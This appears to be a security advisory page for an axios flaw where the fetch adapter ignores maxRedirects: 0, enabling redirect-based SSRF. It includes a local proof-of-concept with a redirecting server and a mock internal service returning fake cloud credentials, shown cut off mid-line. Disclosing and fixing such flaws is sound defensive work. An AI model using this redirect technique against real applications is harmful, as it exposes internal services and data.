Résumé
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
Détails de l’avis
Summary
Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.
Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.
Impact
An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.
This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.
Affected Functionality
Affected:
adapter: 'fetch'.- Runtime environments where fetch is selected by adapter resolution.
- Requests configured with
maxRedirects: 0but withoutfetchOptions.redirect: 'manual'or equivalent runtime-specific redirect control.
Not affected:
- Node HTTP adapter, which enforces
maxRedirects: 0. - Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details
lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
Because redirect is absent, the Fetch API default is to follow redirects.
Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.
Proof of Concept of Attack
Constrained local demonstration:
- Start server A that returns
302 Location: http://127.0.0.1:<server-b>/internal. - Start server B that returns
INTERNAL. - Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
Workarounds
For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.
Original report
Summary
Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.
In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.
This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.
Details
The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:
let {
url, method, data, signal, cancelToken, timeout,
onDownloadProgress, onUploadProgress, responseType,
headers, withCredentials, fetchOptions,
maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted
The options object passed to fetch() has no redirect key:
const resolvedOptions = {
...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.
The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect
The behaviour difference between adapters is summarised below:
| Behaviour | HTTP adapter | Fetch adapter |
|---|---|---|
Reads config.maxRedirects |
Yes | No |
Enforces maxRedirects: 0 |
Yes -- throws on any redirect | No -- follows silently |
Strips Authorization cross-origin |
Yes (follow-redirects >=1.15.8) |
Runtime-dependent |
Strips Cookie cross-origin |
Yes | Runtime-dependent |
When is the fetch adapter selected?
- Deno, Bun, Cloudflare Workers: no Node.js
httpmodule available; the adapter list falls through to'fetch' - Explicit config:
axios.get(url, { adapter: 'fetch' }) - Custom adapter list:
axios.create({ adapter: ['fetch'] })
PoC
import http from 'http';
import axios from './index.js';
// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
if (req.url === '/api/data') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
return res.end();
}
if (req.url === '/api/change-config') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
return res.end();
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ ok: true }));
});
let internalHits = 0;
let internalConfig = {};
// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
internalHits++;
if (req.url === '/internal/secrets') {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
role: 'arn:aws:iam::000000000000:role/FakeProductionRole',
}));
}
if (req.url === '/internal/admin/config') {
internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
reached: 'state-changing internal admin endpoint',
changed: true,
internalConfig,
}));
}
res.writeHead(404);
res.end();
});
await Promise.all
Références
- https://github.com/advisories/GHSA-r4gj-5m52-g5wh
- https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh
- https://nvd.nist.gov/vuln/detail/CVE-2026-101907
- https://github.com/axios/axios/pull/11141
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- https://github.com/axios/axios/releases/tag/v1.20.0
Vulnérabilités liées
Tout Supply chain →- CRITICALCVE-2026-108261
TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
- MEDIUMCVE-2026-107718
AdonisJS: Unencoded route parameters can produce open redirects
- CRITICALCVE-2026-107282
AsyncHttpClient: Replay to a different host sends the original host request and credentials to the new host
- MEDIUMCVE-2026-106462
Backstage's scaffolder credential handling may allow unintended GitHub authentication fallback
- MEDIUMCVE-2026-105846
Payload: Untrusted redirect URL parameter exploit
- CRITICALCVE-2026-103922
Capacitor Android and iOS: remote content can be loaded at the app origin via the internal HTTP proxy path